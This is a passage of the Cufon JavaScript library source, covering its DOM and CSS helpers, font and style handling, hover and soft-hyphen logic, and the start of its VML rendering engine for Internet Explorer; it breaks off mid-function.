/*!
 * Copyright (c) 2011 Simo Kinnunen.
 * Licensed under the MIT license.
 *
 * @version ${Version}
 */

var Cufon = (function() {

	var api = function() {
		return api.replace.apply(null, arguments);
	};

	var DOM = api.DOM = {

		ready: (function() {

			var complete = false, readyStatus = { loaded: 1, complete: 1 };

			var queue = [], perform = function() {
				if (complete) return;
				complete = true;
				for (var fn; fn = queue.shift(); fn());
			};

			// Gecko, Opera, WebKit r26101+

			if (document.addEventListener) {
				document.addEventListener('DOMContentLoaded', perform, false);
				window.addEventListener('pageshow', perform, false); // For cached Gecko pages
			}

			// Old WebKit, Internet Explorer

			if (!window.opera && document.readyState) (function() {
				readyStatus[document.readyState] ? perform() : setTimeout(arguments.callee, 10);
			})();

			// Internet Explorer

			if (document.readyState && document.createStyleSheet) (function() {
				try {
					document.body.doScroll('left');
					perform();
				}
				catch (e) {
					setTimeout(arguments.callee, 1);
				}
			})();

			addEvent(window, 'load', perform); // Fallback

			return function(listener) {
				if (!arguments.length) perform();
				else complete ? listener() : queue.push(listener);
			};

		})(),

		root: function() {
			return document.documentElement || document.body;
		},

		strict: (function() {
			var doctype;
			// no doctype (doesn't always catch it though.. IE I'm looking at you)
			if (document.compatMode == 'BackCompat') return false;
			// WebKit, Gecko, Opera, IE9+
			doctype = document.doctype;
			if (doctype) {
				return !/frameset|transitional/i.test(doctype.publicId);
			}
			// IE<9, firstChild is the doctype even if there's an XML declaration
			doctype = document.firstChild;
			if (doctype.nodeType != 8 || /^DOCTYPE.+(transitional|frameset)/i.test(doctype.data)) {
				return false;
			}
			return true;
		})()

	};

	var CSS = api.CSS = {

		Size: function(value, base) {

			this.value = parseFloat(value);
			this.unit = String(value).match(/[a-z%]*$/)[0] || 'px';

			this.convert = function(value) {
				return value / base * this.value;
			};

			this.convertFrom = function(value) {
				return value / this.value * base;
			};

			this.toString = function() {
				return this.value + this.unit;
			};

		},

		addClass: function(el, className) {
			var current = el.className;
			el.className = current + (current && ' ') + className;
			return el;
		},

		color: cached(function(value) {
			var parsed = {};
			parsed.color = value.replace(/^rgba\((.*?),\s*([\d.]+)\)/, function($0, $1, $2) {
				parsed.opacity = parseFloat($2);
				return 'rgb(' + $1 + ')';
			});
			return parsed;
		}),

		// has no direct CSS equivalent.
		// @see http://msdn.microsoft.com/en-us/library/system.windows.fontstretches.aspx
		fontStretch: cached(function(value) {
			if (typeof value == 'number') return value;
			if (/%$/.test(value)) return parseFloat(value) / 100;
			return {
				'ultra-condensed': 0.5,
				'extra-condensed': 0.625,
				condensed: 0.75,
				'semi-condensed': 0.875,
				'semi-expanded': 1.125,
				expanded: 1.25,
				'extra-expanded': 1.5,
				'ultra-expanded': 2
			}[value] || 1;
		}),

		getStyle: function(el) {
			var view = document.defaultView;
			if (view && view.getComputedStyle) return new Style(view.getComputedStyle(el, null));
			if (el.currentStyle) return new Style(el.currentStyle);
			return new Style(el.style);
		},

		gradient: cached(function(value) {
			var gradient = {
				id: value,
				type: value.match(/^-([a-z]+)-gradient\(/)[1],
				stops: []
			}, colors = value.substr(value.indexOf('(')).match(/([\d.]+=)?(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)/ig);
			for (var i = 0, l = colors.length, stop; i < l; ++i) {
				stop = colors[i].split('=', 2).reverse();
				gradient.stops.push([ stop[1] || i / (l - 1), stop[0] ]);
			}
			return gradient;
		}),

		quotedList: cached(function(value) {
			// doesn't work properly with empty quoted strings (""), but
			// it's not worth the extra code.
			var list = [], re = /\s*((["'])([\s\S]*?[^\\])\2|[^,]+)\s*/g, match;
			while (match = re.exec(value)) list.push(match[3] || match[1]);
			return list;
		}),

		recognizesMedia: cached(function(media) {
			var el = document.createElement('style'), sheet, container, supported;
			el.type = 'text/css';
			el.media = media;
			try { // this is cached anyway
				el.appendChild(document.createTextNode('/**/'));
			} catch (e) {}
			container = elementsByTagName('head')[0];
			container.insertBefore(el, container.firstChild);
			sheet = (el.sheet || el.styleSheet);
			supported = sheet && !sheet.disabled;
			container.removeChild(el);
			return supported;
		}),

		removeClass: function(el, className) {
			var re = RegExp('(?:^|\\s+)' + className +  '(?=\\s|$)', 'g');
			el.className = el.className.replace(re, '');
			return el;
		},

		supports: function(property, value) {
			var checker = document.createElement('span').style;
			if (checker[property] === undefined) return false;
			checker[property] = value;
			return checker[property] === value;
		},

		textAlign: function(word, style, position, wordCount) {
			if (style.get('textAlign') == 'right') {
				if (position > 0) word = ' ' + word;
			}
			else if (position < wordCount - 1) word += ' ';
			return word;
		},

		textShadow: cached(function(value) {
			if (value == 'none') return null;
			var shadows = [], currentShadow = {}, result, offCount = 0;
			var re = /(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)|(-?[\d.]+[a-z%]*)|,/ig;
			while (result = re.exec(value)) {
				if (result[0] == ',') {
					shadows.push(currentShadow);
					currentShadow = {};
					offCount = 0;
				}
				else if (result[1]) {
					currentShadow.color = result[1];
				}
				else {
					currentShadow[[ 'offX', 'offY', 'blur' ][offCount++]] = result[2];
				}
			}
			shadows.push(currentShadow);
			return shadows;
		}),

		textTransform: (function() {
			var map = {
				uppercase: function(s) {
					return s.toUpperCase();
				},
				lowercase: function(s) {
					return s.toLowerCase();
				},
				capitalize: function(s) {
					return s.replace(/(?:^|\s)./g, function($0) {
						return $0.toUpperCase();
					});
				}
			};
			return function(text, style) {
				var transform = map[style.get('textTransform')];
				return transform ? transform(text) : text;
			};
		})(),

		whiteSpace: (function() {
			var ignore = {
				inline: 1,
				'inline-block': 1,
				'run-in': 1
			};
			var wsStart = /^\s+/, wsEnd = /\s+$/;
			return function(text, style, node, previousElement, simple) {
				if (simple) return text.replace(wsStart, '').replace(wsEnd, ''); // @fixme too simple
				if (previousElement) {
					if (previousElement.nodeName.toLowerCase() == 'br') {
						text = text.replace(wsStart, '');
					}
				}
				if (ignore[style.get('display')]) return text;
				if (!node.previousSibling) text = text.replace(wsStart, '');
				if (!node.nextSibling) text = text.replace(wsEnd, '');
				return text;
			};
		})()

	};

	CSS.ready = (function() {

		// don't do anything in Safari 2 (it doesn't recognize any media type)
		var complete = !CSS.recognizesMedia('all'), hasLayout = false;

		var queue = [], perform = function() {
			complete = true;
			for (var fn; fn = queue.shift(); fn());
		};

		var links = elementsByTagName('link'), styles = elementsByTagName('style');

		var checkTypes = {
			'': 1,
			'text/css': 1
		};

		function isContainerReady(el) {
			if (!checkTypes[el.type.toLowerCase()]) return true;
			return el.disabled || isSheetReady(el.sheet, el.media || 'screen');
		}

		function isSheetReady(sheet, media) {
			// in Opera sheet.disabled is true when it's still loading,
			// even though link.disabled is false. they stay in sync if
			// set manually.
			if (!CSS.recognizesMedia(media || 'all')) return true;
			if (!sheet || sheet.disabled) return false;
			try {
				var rules = sheet.cssRules, rule;
				if (rules) {
					// needed for Safari 3 and Chrome 1.0.
					// in standards-conforming browsers cssRules contains @-rules.
					// Chrome 1.0 weirdness: rules[<number larger than .length - 1>]
					// returns the last rule, so a for loop is the only option.
					search: for (var i = 0, l = rules.length; rule = rules[i], i < l; ++i) {
						switch (rule.type) {
							case 2: // @charset
								break;
							case 3: // @import
								if (!isSheetReady(rule.styleSheet, rule.media.mediaText)) return false;
								break;
							default:
								// only @charset can precede @import
								break search;
						}
					}
				}
			}
			catch (e) {} // probably a style sheet from another domain
			return true;
		}

		function allStylesLoaded() {
			// Internet Explorer's style sheet model, there's no need to do anything
			if (document.createStyleSheet) return true;
			// standards-compliant browsers
			var el, i;
			for (i = 0; el = links[i]; ++i) {
				if (el.rel.toLowerCase() == 'stylesheet' && !isContainerReady(el)) return false;
			}
			for (i = 0; el = styles[i]; ++i) {
				if (!isContainerReady(el)) return false;
			}
			return true;
		}

		DOM.ready(function() {
			// getComputedStyle returns null in Gecko if used in an iframe with display: none
			if (!hasLayout) hasLayout = CSS.getStyle(document.body).isUsable();
			if (complete || (hasLayout && allStylesLoaded())) perform();
			else setTimeout(arguments.callee, 10);
		});

		return function(listener) {
			if (complete) listener();
			else queue.push(listener);
		};

	})();

	function Font(data) {

		var face = this.face = data.face, wordSeparators = {
			'\u0020': 1,
			'\u00a0': 1,
			'\u3000': 1
		};

		this.glyphs = (function(glyphs) {
			var key, fallbacks = {
				'\u2011': '\u002d',
				'\u00ad': '\u2011'
			};
			for (key in fallbacks) {
				if (!hasOwnProperty(fallbacks, key)) continue;
				if (!glyphs[key]) glyphs[key] = glyphs[fallbacks[key]];
			}
			return glyphs;
		})(data.glyphs);

		this.w = data.w;
		this.baseSize = parseInt(face['units-per-em'], 10);

		this.family = face['font-family'].toLowerCase();
		this.weight = face['font-weight'];
		this.style = face['font-style'] || 'normal';

		this.viewBox = (function () {
			var parts = face.bbox.split(/\s+/);
			var box = {
				minX: parseInt(parts[0], 10),
				minY: parseInt(parts[1], 10),
				maxX: parseInt(parts[2], 10),
				maxY: parseInt(parts[3], 10)
			};
			box.width = box.maxX - box.minX;
			box.height = box.maxY - box.minY;
			box.toString = function() {
				return [ this.minX, this.minY, this.width, this.height ].join(' ');
			};
			return box;
		})();

		this.ascent = -parseInt(face.ascent, 10);
		this.descent = -parseInt(face.descent, 10);

		this.height = -this.ascent + this.descent;

		this.spacing = function(chars, letterSpacing, wordSpacing) {
			var glyphs = this.glyphs, glyph,
				kerning, k,
				jumps = [],
				width = 0, w,
				i = -1, j = -1, chr;
			while (chr = chars[++i]) {
				glyph = glyphs[chr] || this.missingGlyph;
				if (!glyph) continue;
				if (kerning) {
					width -= k = kerning[chr] || 0;
					jumps[j] -= k;
				}
				w = glyph.w;
				if (isNaN(w)) w = +this.w; // may have been a String in old fonts
				if (w > 0) {
					w += letterSpacing;
					if (wordSeparators[chr]) w += wordSpacing;
				}
				width += jumps[++j] = ~~w; // get rid of decimals
				kerning = glyph.k;
			}
			jumps.total = width;
			return jumps;
		};

	}

	function FontFamily() {

		var styles = {}, mapping = {
			oblique: 'italic',
			italic: 'oblique'
		};

		this.add = function(font) {
			(styles[font.style] || (styles[font.style] = {}))[font.weight] = font;
		};

		this.get = function(style, weight) {
			var weights = styles[style] || styles[mapping[style]]
				|| styles.normal || styles.italic || styles.oblique;
			if (!weights) return null;
			// we don't have to worry about "bolder" and "lighter"
			// because IE's currentStyle returns a numeric value for it,
			// and other browsers use the computed value anyway
			weight = {
				normal: 400,
				bold: 700
			}[weight] || parseInt(weight, 10);
			if (weights[weight]) return weights[weight];
			// http://www.w3.org/TR/CSS21/fonts.html#propdef-font-weight
			// Gecko uses x99/x01 for lighter/bolder
			var up = {
				1: 1,
				99: 0
			}[weight % 100], alts = [], min, max;
			if (up === undefined) up = weight > 400;
			if (weight == 500) weight = 400;
			for (var alt in weights) {
				if (!hasOwnProperty(weights, alt)) continue;
				alt = parseInt(alt, 10);
				if (!min || alt < min) min = alt;
				if (!max || alt > max) max = alt;
				alts.push(alt);
			}
			if (weight < min) weight = min;
			if (weight > max) weight = max;
			alts.sort(function(a, b) {
				return (up
					? (a >= weight && b >= weight) ? a < b : a > b
					: (a <= weight && b <= weight) ? a > b : a < b) ? -1 : 1;
			});
			return weights[alts[0]];
		};

	}

	function HoverHandler() {

		function contains(node, anotherNode) {
			try {
				if (node.contains) return node.contains(anotherNode);
				return node.compareDocumentPosition(anotherNode) & 16;
			}
			catch(e) {} // probably a XUL element such as a scrollbar
			return false;
		}

		// mouseover/mouseout (standards) mode
		function onOverOut(e) {
			var related = e.relatedTarget;
			// there might be no relatedTarget if the element is right next
			// to the window frame
			if (related && contains(this, related)) return;
			trigger(this, e.type == 'mouseover');
		}

		// mouseenter/mouseleave (probably ie) mode
		function onEnterLeave(e) {
			if (!e) e = window.event;
			// ie model, we don't have access to "this", but
			// mouseenter/leave doesn't bubble so it's fine.
			trigger(e.target || e.srcElement, e.type == 'mouseenter');
		}

		function trigger(el, hoverState) {
			// A timeout is needed so that the event can actually "happen"
			// before replace is triggered. This ensures that styles are up
			// to date.
			setTimeout(function() {
				var options = sharedStorage.get(el).options;
				if (hoverState) {
					options = merge(options, options.hover);
					options._mediatorMode = 1;
				}
				api.replace(el, options, true);
			}, 10);
		}

		this.attach = function(el) {
			if (el.onmouseenter === undefined) {
				addEvent(el, 'mouseover', onOverOut);
				addEvent(el, 'mouseout', onOverOut);
			}
			else {
				addEvent(el, 'mouseenter', onEnterLeave);
				addEvent(el, 'mouseleave', onEnterLeave);
			}
		};

		this.detach = function(el) {
			if (el.onmouseenter === undefined) {
				removeEvent(el, 'mouseover', onOverOut);
				removeEvent(el, 'mouseout', onOverOut);
			}
			else {
				removeEvent(el, 'mouseenter', onEnterLeave);
				removeEvent(el, 'mouseleave', onEnterLeave);
			}
		};

	}

	function ReplaceHistory() {

		var list = [], map = {};

		function filter(keys) {
			var values = [], key;
			for (var i = 0; key = keys[i]; ++i) values[i] = list[map[key]];
			return values;
		}

		this.add = function(key, args) {
			map[key] = list.push(args) - 1;
		};

		this.repeat = function() {
			var snapshot = arguments.length ? filter(arguments) : list, args;
			for (var i = 0; args = snapshot[i++];) api.replace(args[0], args[1], true);
		};

	}

	function Storage() {

		var map = {}, at = 0;

		function identify(el) {
			return el.cufid || (el.cufid = ++at);
		}

		this.get = function(el) {
			var id = identify(el);
			return map[id] || (map[id] = {});
		};

	}

	function Style(style) {

		var custom = {}, sizes = {};

		this.extend = function(styles) {
			for (var property in styles) {
				if (hasOwnProperty(styles, property)) custom[property] = styles[property];
			}
			return this;
		};

		this.get = function(property) {
			return custom[property] != undefined ? custom[property] : style[property];
		};

		this.getSize = function(property, base) {
			return sizes[property] || (sizes[property] = new CSS.Size(this.get(property), base));
		};

		this.isUsable = function() {
			return !!style;
		};

	}

	function addEvent(el, type, listener) {
		if (el.addEventListener) {
			el.addEventListener(type, listener, false);
		}
		else if (el.attachEvent) {
			// we don't really need "this" right now, saves code
			el.attachEvent('on' + type, listener);
		}
	}

	function attach(el, options) {
		if (options._mediatorMode) return el;
		var storage = sharedStorage.get(el);
		var oldOptions = storage.options;
		if (oldOptions) {
			if (oldOptions === options) return el;
			if (oldOptions.hover) hoverHandler.detach(el);
		}
		if (options.hover && options.hoverables[el.nodeName.toLowerCase()]) {
			hoverHandler.attach(el);
		}
		storage.options = options;
		return el;
	}

	function cached(fun) {
		var cache = {};
		return function(key) {
			if (!hasOwnProperty(cache, key)) cache[key] = fun.apply(null, arguments);
			return cache[key];
		};
	}

	function getFont(el, style) {
		var families = CSS.quotedList(style.get('fontFamily').toLowerCase()), family;
		for (var i = 0; family = families[i]; ++i) {
			if (fonts[family]) return fonts[family].get(style.get('fontStyle'), style.get('fontWeight'));
		}
		return null;
	}

	function elementsByTagName(query) {
		return document.getElementsByTagName(query);
	}

	function hasOwnProperty(obj, property) {
		return obj.hasOwnProperty(property);
	}

	function merge() {
		var merged = {}, arg, key;
		for (var i = 0, l = arguments.length; arg = arguments[i], i < l; ++i) {
			for (key in arg) {
				if (hasOwnProperty(arg, key)) merged[key] = arg[key];
			}
		}
		return merged;
	}

	function process(font, text, style, options, node, el) {
		var fragment = document.createDocumentFragment(), processed;
		if (text === '') return fragment;
		var separate = options.separate;
		var parts = text.split(separators[separate]), needsAligning = (separate == 'words');
		if (needsAligning && HAS_BROKEN_REGEXP) {
			// @todo figure out a better way to do this
			if (/^\s/.test(text)) parts.unshift('');
			if (/\s$/.test(text)) parts.push('');
		}
		for (var i = 0, l = parts.length; i < l; ++i) {
			processed = engines[options.engine](font,
				needsAligning ? CSS.textAlign(parts[i], style, i, l) : parts[i],
				style, options, node, el, i < l - 1);
			if (processed) fragment.appendChild(processed);
		}
		return fragment;
	}

	function removeEvent(el, type, listener) {
		if (el.removeEventListener) {
			el.removeEventListener(type, listener, false);
		}
		else if (el.detachEvent) {
			el.detachEvent('on' + type, listener);
		}
	}

	function replaceElement(el, options) {
		var name = el.nodeName.toLowerCase();
		if (options.ignore[name]) return;
		if (options.ignoreClass && options.ignoreClass.test(el.className)) return;
		if (options.onBeforeReplace) options.onBeforeReplace(el, options);
		var replace = !options.textless[name], simple = (options.trim === 'simple');
		var style = CSS.getStyle(attach(el, options)).extend(options);
		// may cause issues if the element contains other elements
		// with larger fontSize, however such cases are rare and can
		// be fixed by using a more specific selector
		if (parseFloat(style.get('fontSize')) === 0) return;
		var font = getFont(el, style), node, type, next, anchor, text, lastElement;
		var isShy = options.softHyphens, anyShy = false, pos, shy, reShy = /\u00ad/g;
		var modifyText = options.modifyText;
		if (!font) return;
		for (node = el.firstChild; node; node = next) {
			type = node.nodeType;
			next = node.nextSibling;
			if (replace && type == 3) {
				if (isShy && el.nodeName.toLowerCase() != TAG_SHY) {
					pos = node.data.indexOf('\u00ad');
					if (pos >= 0) {
						node.splitText(pos);
						next = node.nextSibling;
						next.deleteData(0, 1);
						shy = document.createElement(TAG_SHY);
						shy.appendChild(document.createTextNode('\u00ad'));
						el.insertBefore(shy, next);
						next = shy;
						anyShy = true;
					}
				}
				// Node.normalize() is broken in IE 6, 7, 8
				if (anchor) {
					anchor.appendData(node.data);
					el.removeChild(node);
				}
				else anchor = node;
				if (next) continue;
			}
			if (anchor) {
				text = anchor.data;
				if (!isShy) text = text.replace(reShy, '');
				text = CSS.whiteSpace(text, style, anchor, lastElement, simple);
				// modify text only on the first replace
				if (modifyText) text = modifyText(text, anchor, el, options);
				el.replaceChild(process(font, text, style, options, node, el), anchor);
				anchor = null;
			}
			if (type == 1) {
				if (node.firstChild) {
					if (node.nodeName.toLowerCase() == 'cufon') {
						engines[options.engine](font, null, style, options, node, el);
					}
					else arguments.callee(node, options);
				}
				lastElement = node;
			}
		}
		if (isShy && anyShy) {
			updateShy(el);
			if (!trackingShy) addEvent(window, 'resize', updateShyOnResize);
			trackingShy = true;
		}
		if (options.onAfterReplace) options.onAfterReplace(el, options);
	}

	function updateShy(context) {
		var shys, shy, parent, glue, newGlue, next, prev, i;
		shys = context.getElementsByTagName(TAG_SHY);
		// unfortunately there doesn't seem to be any easy
		// way to avoid having to loop through the shys twice.
		for (i = 0; shy = shys[i]; ++i) {
			shy.className = C_SHY_DISABLED;
			glue = parent = shy.parentNode;
			if (glue.nodeName.toLowerCase() != TAG_GLUE) {
				newGlue = document.createElement(TAG_GLUE);
				newGlue.appendChild(shy.previousSibling);
				parent.insertBefore(newGlue, shy);
				newGlue.appendChild(shy);
			}
			else {
				// get rid of double glue (edge case fix)
				glue = glue.parentNode;
				if (glue.nodeName.toLowerCase() == TAG_GLUE) {
					parent = glue.parentNode;
					while (glue.firstChild) {
						parent.insertBefore(glue.firstChild, glue);
					}
					parent.removeChild(glue);
				}
			}
		}
		for (i = 0; shy = shys[i]; ++i) {
			shy.className = '';
			glue = shy.parentNode;
			parent = glue.parentNode;
			next = glue.nextSibling || parent.nextSibling;
			// make sure we're comparing same types
			prev = (next.nodeName.toLowerCase() == TAG_GLUE) ? glue : shy.previousSibling;
			if (prev.offsetTop >= next.offsetTop) {
				shy.className = C_SHY_DISABLED;
				if (prev.offsetTop < next.offsetTop) {
					// we have an annoying edge case, double the glue
					newGlue = document.createElement(TAG_GLUE);
					parent.insertBefore(newGlue, glue);
					newGlue.appendChild(glue);
					newGlue.appendChild(next);
				}
			}
		}
	}

	function updateShyOnResize() {
		if (ignoreResize) return; // needed for IE
		CSS.addClass(DOM.root(), C_VIEWPORT_RESIZING);
		clearTimeout(shyTimer);
		shyTimer = setTimeout(function() {
			ignoreResize = true;
			CSS.removeClass(DOM.root(), C_VIEWPORT_RESIZING);
			updateShy(document);
			ignoreResize = false;
		}, 100);
	}

	var HAS_BROKEN_REGEXP = ' '.split(/\s+/).length == 0;
	var TAG_GLUE = 'cufonglue';
	var TAG_SHY = 'cufonshy';
	var C_SHY_DISABLED = 'cufon-shy-disabled';
	var C_VIEWPORT_RESIZING = 'cufon-viewport-resizing';

	var sharedStorage = new Storage();
	var hoverHandler = new HoverHandler();
	var replaceHistory = new ReplaceHistory();
	var initialized = false;
	var trackingShy = false;
	var shyTimer;
	var ignoreResize = false;

	var engines = {}, fonts = {}, defaultOptions = {
		autoDetect: false,
		engine: null,
		forceHitArea: false,
		hover: false,
		hoverables: {
			a: true
		},
		ignore: {
			applet: 1,
			canvas: 1,
			col: 1,
			colgroup: 1,
			head: 1,
			iframe: 1,
			map: 1,
			noscript: 1,
			optgroup: 1,
			option: 1,
			script: 1,
			select: 1,
			style: 1,
			textarea: 1,
			title: 1,
			pre: 1
		},
		ignoreClass: null,
		modifyText: null,
		onAfterReplace: null,
		onBeforeReplace: null,
		printable: true,
		selector: (
				window.Sizzle
			||	(window.jQuery && function(query) { return jQuery(query); }) // avoid noConflict issues
			||	(window.dojo && dojo.query)
			||	(window.glow && glow.dom && glow.dom.get)
			||	(window.Ext && Ext.query)
			||	(window.YAHOO && YAHOO.util && YAHOO.util.Selector && YAHOO.util.Selector.query)
			||	(window.$$ && function(query) { return $$(query); })
			||	(window.$ && function(query) { return $(query); })
			||	(document.querySelectorAll && function(query) { return document.querySelectorAll(query); })
			||	elementsByTagName
		),
		separate: 'words', // 'none' and 'characters' are also accepted
		softHyphens: true,
		textless: {
			dl: 1,
			html: 1,
			ol: 1,
			table: 1,
			tbody: 1,
			thead: 1,
			tfoot: 1,
			tr: 1,
			ul: 1
		},
		textShadow: 'none',
		trim: 'advanced'
	};

	var separators = {
		// The first pattern may cause unicode characters above
		// code point 255 to be removed in Safari 3.0. Luckily enough
		// Safari 3.0 does not include non-breaking spaces in \s, so
		// we can just use a simple alternative pattern.
		words: /\s/.test('\u00a0') ? /[^\S\u00a0]+/ : /\s+/,
		characters: '',
		none: /^/
	};

	api.now = function() {
		DOM.ready();
		return api;
	};

	api.refresh = function() {
		replaceHistory.repeat.apply(replaceHistory, arguments);
		return api;
	};

	api.registerEngine = function(id, engine) {
		if (!engine) return api;
		engines[id] = engine;
		return api.set('engine', id);
	};

	api.registerFont = function(data) {
		if (!data) return api;
		var font = new Font(data), family = font.family;
		if (!fonts[family]) fonts[family] = new FontFamily();
		fonts[family].add(font);
		return api.set('fontFamily', '"' + family + '"');
	};

	api.replace = function(elements, options, ignoreHistory) {
		options = merge(defaultOptions, options);
		if (!options.engine) return api; // there's no browser support so we'll just stop here
		if (!initialized) {
			CSS.addClass(DOM.root(), 'cufon-active cufon-loading');
			CSS.ready(function() {
				// fires before any replace() calls, but it doesn't really matter
				CSS.addClass(CSS.removeClass(DOM.root(), 'cufon-loading'), 'cufon-ready');
			});
			initialized = true;
		}
		if (options.hover) options.forceHitArea = true;
		if (options.autoDetect) delete options.fontFamily;
		if (typeof options.ignoreClass == 'string') {
			options.ignoreClass = new RegExp('(?:^|\\s)(?:' + options.ignoreClass.replace(/\s+/g, '|') + ')(?:\\s|$)');
		}
		if (typeof options.textShadow == 'string') {
			options.textShadow = CSS.textShadow(options.textShadow);
		}
		if (typeof options.color == 'string' && /^-/.test(options.color)) {
			options.textGradient = CSS.gradient(options.color);
		}
		else delete options.textGradient;
		if (typeof elements == 'string') {
			if (!ignoreHistory) replaceHistory.add(elements, arguments);
			elements = [ elements ];
		}
		else if (elements.nodeType) elements = [ elements ];
		CSS.ready(function() {
			for (var i = 0, l = elements.length; i < l; ++i) {
				var el = elements[i];
				if (typeof el == 'string') api.replace(options.selector(el), options, true);
				else replaceElement(el, options);
			}
		});
		return api;
	};

	api.set = function(option, value) {
		defaultOptions[option] = value;
		return api;
	};

	return api;

})();

Cufon.registerEngine('vml', (function() {

	var ns = document.namespaces;
	if (!ns) return;
	ns.add('cvml', 'urn:schemas-microsoft-com:vml');
	ns = null;

	var check = document.createElement('cvml:shape');
	check.style.behavior = 'url(#default#VML)';
	if (!check.coordsize) return; // VML isn't supported
	check = null;

	var HAS_BROKEN_LINEHEIGHT = (document.documentMode || 0) < 8;

	document.write(('<style type="text/css">' +
		'cufoncanvas{text-indent:0;}' +
		'@media screen{' +
			'cvml\\:shape,cvml\\:rect,cvml\\:fill,cvml\\:shadow{behavior:url(#default#VML);display:block;antialias:true;position:absolute;}' +
			'cufoncanvas{position:absolute;text-align:left;}' +
			'cufon{display:inline-block;position:relative;vertical-align:' +
			(HAS_BROKEN_LINEHEIGHT
				? 'middle'
				: 'text-bottom') +
			';}' +
			'cufon cufontext{position:absolute;left:-10000in;font-size:1px;text-align:left;}' +
			'cufonshy.cufon-shy-disabled,.cufon-viewport-resizing cufonshy{display:none;}' +
			'cufonglue{white-space:nowrap;display:inline-block;}' +
			'.cufon-viewport-resizing cufonglue{white-space:normal;}' +
			'a cufon{cursor:pointer}' + // ignore !important here
		'}' +
		'@media print{' +
			'cufon cufoncanvas{display:none;}' +
		'}' +
	'</style>').replace(/;/g, '!important;'));

	function getFontSizeInPixels(el, value) {
		return getSizeInPixels(el, /(?:em|ex|%)$|^[a-z-]+$/i.test(value) ? '1em' : value);
	}

	// Original by Dead Edwards.
	// Combined with getFontSizeInPixels it also works with relative units.
	function getSizeInPixels(el, value) {
		if (!isNaN(value) || /px$/i.test(value)) return parseFloat(value);
		var style = el.style.left, runtimeStyle = el.runtimeStyle.left;
		el.runtimeStyle.left = el.currentStyle.left;
		el.style.left = value.replace('%', 'em');
		var result = el.style.pixelLeft;
		el.style.left = style;
		el.runtimeStyle.left = runtimeStyle;
		return result;
	}

	function getSpacingValue(el, style, size, property) {
		var key = 'computed' + property, value = style[key];
		if (isNaN(value)) {
			value = style.get(property);
			style[key] = value = (value == 'normal') ? 0 : ~~size.convertFrom(getSizeInPixels(el, value));
		}
		return value;
	}

	var fills = {};

	function gradientFill(gradient) {
		var id = gradient.id;
		if (!fills[id]) {
			var stops = gradient.stops, fill = document.createElement('cvml:fill'), colors = [];
			fill.type = 'gradient';
			fill.angle = 180;
			fill.focus = '0';
			fill.method = 'none';
			fill.color = stops[0][1];
			for (var j = 1, k = stops.length - 1; j < k; ++j) {
				colors.push(stops[j][0] * 100 + '% ' + stops[j][1]);
			}
			fill.colors = colors.join(',');
			fill.color2 = stops[k][1];
			fills[id] = fill;
		}
		return fills[id];
	}

	return function(font, text, style, options, node, el, hasNext) {

		var redraw = (text === null);

		if (redraw) text = node.alt;

		var viewBox = font.viewBox;

		var size = style.computedFontSize || (style.computedFontSize = new Cufon.CSS.Size(getFontSizeInPixels(el, style.get('fontSize')) + 'px', font.baseSize));

		var wrapper, canvas;

		if (redraw) {
			wrapper = node;
			canvas = node.firstChild;
		}
		else {
			wrapper = document.createElement('cufon');
			wrapper.className = 'cufon cufon-vml';
			wrapper.alt = text;

			canvas = document.createElement('cufoncanvas');
			wrapper.appendChild(canvas);

			if (options.printable) {
				var print = document.createElement('cufontext');
				print.appendChild(document.createTextNode(text));
				wrapper.appendChild(print);
			}

			// ie6, for some reason, has trouble rendering the last VML element in the document.
			// we can work around this by injecting a dummy element where needed.
			// @todo find a better solution
			if (!hasNext) wrapper.appendChild(document.createElement('cvml:shape'));
		}

		var wStyle = wrapper.style;
		var cStyle = canvas.style;

		var height = size.convert(viewBox.height), roundedHeight = Math.ceil(height);
		var roundingFactor = roundedHeight / height;
		var stretchFactor = roundingFactor * Cufon.CSS.fontStretch(style.get('fontStretch'));
		var minX = viewBox.minX, minY = viewBox.minY;

		cStyle.height = roundedHeight;
		cStyle.top = Math.round(size.convert(minY - font.ascent));
		cStyle.left = Math.round(size.convert(minX));

		wStyle.height = size.convert(font.height) + 'px';

		var color = style.get('color');
		var chars = Cufon.CSS.textTransform(text, style).split('');

		var jumps = font.spacing(chars,
			getSpacingValue(el, style, size, 'letterSpacing'),
			getSpacingValue(el, style, size, 'wordSpacing')
		);

		if (!jumps.length) return null;

		var width = jumps.total;
		var fullWidth = -minX + width + (viewBox.width - jumps[jumps.length - 1]);

		var shapeWidth = size.convert(fullWidth * stretchFactor), roundedShapeWidth = Math.round(shapeWidth);

		var coordSize = fullWidth + ',' + viewBox.height, coordOrigin;
		var stretch = 'r' + coordSize + 'ns';

		var fill = options.textGradient && gradientFill(options.textGradient);

		var glyphs = font.glyphs, offsetX = 0;
		var shadows = options.textShadow;
		var i = -1, j = 0, chr;

		while (chr = chars[++i]) {

			var glyph = glyphs[chars[i]] || font.missingGlyph, shape;
			if (!glyph) continue;

			if (redraw) {
				// some glyphs may be missing so we can't use i
				shape = canvas.childNodes[j];
				while (shape.firstChild) shape.removeChild(shape.firstChild); // shadow, fill
			}
			else {
				shape = document.createElement('cvml:shape');
				canvas.appendChild(shape);
			}

			shape.stroked = 'f';
			shape.coordsize = coordSize;
			shape.coordorigin = coordOrigin = (minX - offsetX) + ',' + minY;
			shape.path = (glyph.d ? 'm' + glyph.d + 'xe' : '') + 'm' + coordOrigin + stretch;
			shape.fillcolor = color;

			if (fill) shape.appendChild(fill.cloneNode(false));

			// it's important to not set top/left or IE8 will grind to a halt
			var sStyle = shape.style;
			sStyle.width = roundedShapeWidth;
			sStyle.height = roundedHeight;

			if (shadows) {
				// due to the limitations of the VML shadow element there
				// can only be two visible shadows. opacity is shared
				// for all shadows.
				var shadow1 = shadows[0], shadow2 = shadows[1];
				var color1 = Cufon.CSS.color(shadow1.color), color2;
				var shadow = document.createElement('cvml:shadow');
				shadow.on = 't';
				shadow.color = color1.color;
				shadow.offset = shadow1.offX + ',' + shadow1.offY;
				if (shadow2) {
					color2 = Cufon.CSS.color(shadow2.color);
					shadow.type = 'double';
					shadow.color2 = color2.color;
					shadow.offset2 = shadow2.offX + ',' + shadow2.offY;
				}
				shadow.opacity = color1.opacity || (color2 && color2.opacity) || 1;
				shape.appendChild(shadow);
			}

			offsetX += jumps[j++];
		}

		// addresses flickering issues on :hover

		var cover = shape.nextSibling, coverFill, vStyle;

		if (options.forceHitArea) {

			if (!cover) {
				cover = document.createElement('cvml:rect');
				cover.stroked = 'f';
				cover.className = 'cufon-vml-cover';
				coverFill = document.createElement('cvml:fill');
				coverFill.opacity = 0;
				cover.appendChild(coverFill);
